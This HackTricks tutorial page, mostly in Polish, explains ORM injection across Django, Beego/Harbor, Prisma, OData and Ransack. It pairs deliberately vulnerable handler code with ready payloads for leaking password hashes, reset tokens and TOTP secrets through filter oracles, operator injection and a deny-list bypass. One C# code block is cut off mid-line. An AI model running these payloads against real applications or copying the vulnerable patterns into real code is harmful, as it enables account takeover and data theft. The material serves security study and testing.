ORM Injection
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Django ORM (Python)
W this post wyjaśniono, jak można uczynić Django ORM podatnym, używając na przykład kodu takiego jak:
class ArticleView(APIView):
"""
Some basic API view that users send requests to for
searching for articles
"""
def post(self, request: Request, format=None):
try:
articles = Article.objects.filter(**request.data)
serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)
Zauważ, że całe request.data (które będzie a json) jest bezpośrednio przekazywane do filter obiektów z bazy danych. Atakujący może wysłać nieoczekiwane filtry, aby leakować więcej danych niż przewidywano.
Przykłady:
- Login: W prostym loginie spróbuj leakować passwords użytkowników zarejestrowanych w nim.
{
"username": "admin",
"password_startswith": "a"
}
Caution
Możliwe jest brute-force hasła, aż zostanie leaked.
- Relational filtering: Możliwe jest przechodzenie po relacjach, aby leak informacje z kolumn, które w ogóle nie były spodziewane do użycia w tej operacji. Na przykład, jeśli możliwe jest leak artykułów utworzonych przez użytkownika przy użyciu tych relacji: Article(
created_by) -[1..1]-> Author (user) -[1..1]-> User(password).
{
"created_by__user__password__contains": "pass"
}
Caution
Możliwe jest znalezienie hasła wszystkich użytkowników, którzy utworzyli artykuł
- Many-to-many relational filtering: W poprzednim przykładzie nie mogliśmy znaleźć haseł użytkowników, którzy nie utworzyli artykułu. Jednakże, podążając innymi relacjami, jest to możliwe. Na przykład: Article(
created_by) -[1..1]-> Author(departments) -[0..*]-> Department(employees) -[0..*]-> Author(user) -[1..1]-> User(password).
{
"created_by__departments__employees__user_startswith": "admi"
}
Caution
W tym przypadku możemy znaleźć wszystkich użytkowników w działach, którzy utworzyli artykuły, a następnie leak ich hasła (w poprzednim jsonie leakujemy tylko nazwy użytkowników, ale potem możliwe jest leakowanie haseł).
- Abusing Django Group and Permission many-to-may relations with users: Moreover, the AbstractUser model is used to generate users in Django and by default this model has some many-to-many relationships with the Permission and Group tables. Which basically is a default way to access other users from one user if they are in the same group or share the same permission.
# By users in the same group
created_by__user__groups__user__password
# By users with the same permission
created_by__user__user_permissions__user__password
- Bypass filter restrictions: Ten sam wpis na blogu proponował obejście użycia pewnego filtrowania, takiego jak
articles = Article.objects.filter(is_secret=False, **request.data). Możliwe jest dumpowanie artykułów, które mają is_secret=True, ponieważ możemy cofnąć się przez relację do tabeli Article i leakować sekretne artykuły z nie-sekretnych artykułów — ponieważ wyniki są łączone, pole is_secret jest sprawdzane w nie-sekretnym artykule, podczas gdy dane są leakowane z sekretnego artykułu.
Article.objects.filter(is_secret=False, categories__articles__id=2)
Caution
Nadużywając relacji, można obejść nawet filtry mające na celu ochronę wyświetlanych danych.
- Error/Time based via ReDoS: W poprzednich przykładach spodziewano się różnych odpowiedzi w zależności od tego, czy filtrowanie zadziałało, aby wykorzystać to jako oracle. Jednak może się zdarzyć, że jakieś działanie zostanie wykonane w bazie danych i odpowiedź będzie zawsze taka sama. W takim scenariuszu możliwe jest sprowokowanie błędu bazy danych, by uzyskać nowe oracle.
// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}
// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
Z tego samego posta dotyczącego tego wektora:
- SQLite: Nie posiada domyślnego operatora regexp (wymaga załadowania zewnętrznego rozszerzenia)
- PostgreSQL: Nie posiada domyślnego regex timeoutu i jest mniej podatny na backtracking
- MariaDB: Nie posiada regex timeoutu
Beego ORM (Go) & Harbor Filter Oracles
Beego odzwierciedla DSL Django field__operator, więc każdy handler, który pozwala użytkownikom kontrolować pierwszy argument QuerySeter.Filter(), ujawnia cały graf relacji:
qs := o.QueryTable("articles")
qs = qs.Filter(filterExpression, filterValue) // attacker controls key + operator
Żądania takie jak /search?filter=created_by__user__password__icontains=pbkdf mogą pivotować przez foreign keys dokładnie tak jak powyższe Django primitives. Harbor’s q helper parsed user input into Beego filters, więc użytkownicy o niskich uprawnieniach mogli sondować sekrety, obserwując odpowiedzi z listy:
GET /api/v2.0/users?q=password=~$argon2id$→ ujawnia, czy którykolwiek hash zawiera$argon2id$.GET /api/v2.0/users?q=salt=~abc→ leaks salt substrings.
Zliczanie zwróconych wierszy, obserwowanie metadanych paginacji lub porównywanie długości odpowiedzi daje oracle do brute-force całych hashes, salts i TOTP seeds.
Omijanie poprawek Harbor za pomocą parseExprs
Harbor próbował chronić wrażliwe pola, oznaczając je filter:"false" i walidując tylko pierwszy segment wyrażenia:
k := strings.SplitN(key, orm.ExprSep, 2)[0]
if _, ok := meta.Filterable(k); !ok { continue }
qs = qs.Filter(key, value)
Beego’s internal parseExprs walks every __-delimited segment and, when the current segment is not a relation, it simply overwrites the target field with the next segment. Payloads such as email__password__startswith=foo therefore pass Harbor’s Filterable(email)=true check but execute as password__startswith=foo, bypassing deny-lists.
v2.13.1 limited keys to a single separator, but Harbor’s own fuzzy-match builder appends operators after validation: q=email__password=~abc → Filter("email__password__icontains", "abc"). The ORM again interprets that as password__icontains. Beego apps that only inspect the first __ component or that append operators later in the request pipeline stay vulnerable to the same overwrite primitive and can still be abused as blind leak oracles.
Prisma ORM (NodeJS)
The following are tricks extracted from this post.
- Pełna kontrola nad find:
const app = express();
app.use(express.json());
app.post('/articles/verybad', async (req, res) => {
try {
// Attacker has full control of all prisma options
const posts = await prisma.article.findMany(req.body.filter)
res.json(posts);
} catch (error) {
res.json([]);
}
});
Widać, że całe ciało javascript jest przekazywane do prisma, aby wykonać zapytania.
In the example from the original post, this would check all the posts createdBy someone (each post is created by someone) returning also the user info of that someone (username, password…)
{
"filter": {
"include": {
"createdBy": true
}
}
}
// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]
Poniższy przykład wybiera wszystkie posty utworzone przez użytkownika posiadającego hasło i zwróci to hasło:
{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}
// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]
- Pełna kontrola klauzuli
where:
Spójrzmy na przykład, w którym atakujący może kontrolować klauzulę where:
app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
where: req.query.filter as any // Vulnerable to ORM Leaks
})
res.json(posts);
} catch (error) {
res.json([]);
}
});
Możliwe jest bezpośrednie filtrowanie pola password użytkowników w następujący sposób:
await prisma.article.findMany({
where: {
createdBy: {
password: {
startsWith: "pas",
},
},
},
})
Caution
Używając operacji takich jak
startsWithmożliwe jest leak informacji.
- Omijanie filtrowania relacji many-to-many:
app.post("/articles", async (req, res) => {
try {
const query = req.body.query
query.published = true
const posts = await prisma.article.findMany({ where: query })
res.json(posts)
} catch (error) {
res.json([])
}
})
Możliwe jest leak nieopublikowanych artykułów poprzez cofnięcie się do relacji wiele-do-wielu pomiędzy Category -[*..*]-> Article:
{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
Możliwe jest również leak wszystkich użytkowników poprzez wykorzystanie pętli zwrotnej w niektórych relacjach wiele-do-wielu:
{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
- Error/Timed queries: W oryginalnym poście możesz przeczytać bardzo obszerne zestawienie testów przeprowadzonych w celu znalezienia optymalnego payloadu pozwalającego na leak informacji z użyciem time based payload. Oto:
{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}
Gdzie {CONTAINS_LIST} to lista z 1000 ciągów znaków, aby upewnić się, że odpowiedź jest opóźniona, gdy zostanie znaleziony właściwy leak.
Zamieszanie typów w filtrach where (operator injection)
API zapytań Prisma akceptuje wartości prymitywne lub obiekty operatorów. Gdy funkcje obsługi zakładają, że ciało żądania zawiera zwykłe łańcuchy znaków, ale przekazują je bezpośrednio do where, atakujący mogą przemycić operatory do przepływów uwierzytelniania i ominąć sprawdzenia tokenów.
const user = await prisma.user.findFirstOrThrow({
where: { resetToken: req.body.resetToken as string }
})
Typowe wektory przymusu:
- JSON body (default
express.json()):{"resetToken":{"not":"E"},"password":"newpass"}⇒ dopasowuje każdego użytkownika, którego token nie jestE. - URL-encoded body with
extended: true:resetToken[not]=E&password=newpassstaje się tym samym obiektem. - Query string in Express <5 or with extended parsers:
/reset?resetToken[contains]=argon2leaks substring matches. - cookie-parser JSON cookies:
Cookie: resetToken=j:{"startsWith":"0x"}jeśli cookies są przekazywane do Prisma.
Ponieważ Prisma chętnie ocenia { resetToken: { not: ... } }, { contains: ... }, { startsWith: ... }, itd., każde sprawdzenie równości sekretów (reset tokens, API keys, magic links) można rozszerzyć do predykatu, który zwróci true bez znajomości sekretu. Połącz to z filtrami relacyjnymi (createdBy), aby wybrać ofiarę.
Szukaj przepływów, w których:
- Schematy żądań nie są egzekwowane, więc zagnieżdżone obiekty przetrwają deserializację.
- Rozszerzone parsery body/query pozostają włączone i akceptują składnię nawiasową.
- Handlery przekazują JSON użytkownika bezpośrednio do Prisma zamiast mapować go na dozwolone pola/operatorzy.
Entity Framework & OData Filter Leaks
Reflection-based text helpers leak secrets
Microsoft TextFilter helper abused for leaks
```csharp IQueryableNarzędzia pomocnicze, które enumerują każdą właściwość typu string i opakowują ją w .Contains(term), w praktyce ujawniają hasła, tokeny API, salta i sekrety TOTP każdemu użytkownikowi, który może wywołać endpoint. Directus CVE-2025-64748 jest przykładem z prawdziwego świata, w którym endpoint wyszukiwania directus_users uwzględniał token i tfa_secret w wygenerowanych predykatach LIKE, zamieniając zliczenia wyników w leak oracle.
OData comparison oracles
Kontrolery ASP.NET OData często zwracają IQueryable<T> i umożliwiają $filter, nawet gdy funkcje takie jak contains są wyłączone. Dopóki EDM eksponuje właściwość, atakujący nadal mogą na niej przeprowadzać porównania:
GET /odata/Articles?$filter=CreatedBy/TfaSecret ge 'M'&$top=1
GET /odata/Articles?$filter=CreatedBy/TfaSecret lt 'M'&$top=1
Sama obecność lub brak wyników (lub metadanych paginacji) pozwala na wyszukiwanie binarne każdego znaku zgodnie z collation bazy danych. Właściwości nawigacyjne (CreatedBy/Token, CreatedBy/User/Password) umożliwiają relacyjne pivoty podobne do Django/Beego, więc każde EDM, które ujawnia wrażliwe pola lub pomija deny-listy dla poszczególnych właściwości, jest łatwym celem.
Biblioteki i middleware, które tłumaczą ciągi od użytkownika na operatory ORM (np. Entity Framework dynamic LINQ helpers, Prisma/Sequelize wrappers) powinny być traktowane jako sinks wysokiego ryzyka, chyba że implementują ścisłe allow-listy pól/operatorów.
Ransack (Ruby)
Te triki zostały found in this post.
Tip
Uwaga: Ransack 4.0.0.0 teraz wymusza użycie jawnej listy dozwolonych (allow list) dla przeszukiwalnych atrybutów i asocjacji.
Przykład podatny:
def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end
Zauważ, że zapytanie będzie określone przez parametry wysłane przez atakującego. Na przykład możliwe było brute-force reset tokena za pomocą:
GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...
Poprzez brute-forcing i potencjalne wykorzystanie relacji można było uzyskać większy leak z bazy danych.
Strategie leaków zależne od collation
Porównania łańcuchów dziedziczą collation bazy danych, więc leak oracles muszą być zaprojektowane zgodnie z tym, jak backend porządkuje znaki:
- Domyślne collation w MariaDB/MySQL/SQLite/MSSQL są często nieczułe na wielkość liter, więc
LIKE/=nie rozróżniająaodA. Użyj operatorów rozróżniających wielkość liter (regex/GLOB/BINARY), gdy wielkość liter w sekrecie ma znaczenie. - Prisma i Entity Framework odzwierciedlają porządek bazy danych. Collations takie jak MSSQL’s
SQL_Latin1_General_CP1_CI_ASumieszczają interpunkcję przed cyframi i literami, więc sondy binary-search muszą podążać za tym porządkiem zamiast surowej kolejności bajtów ASCII. - W SQLite
LIKEjest nieczuły na wielkość liter, chyba że zarejestrowano niestandardowe collation, więc Django/Beego leaks mogą wymagać predykatów__regexdo odzyskania tokenów rozróżniających wielkość liter.
Kalibrowanie payloadów do rzeczywistego collation unika zmarnowanych sond i znacząco przyspiesza zautomatyzowane ataki oparte na substring/binary-search.
Referencje
- https://www.elttam.com/blog/plormbing-your-django-orm/
- https://www.elttam.com/blog/plorming-your-primsa-orm/
- https://www.elttam.com/blog/leaking-more-than-you-joined-for/
- https://positive.security/blog/ransack-data-exfiltration
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


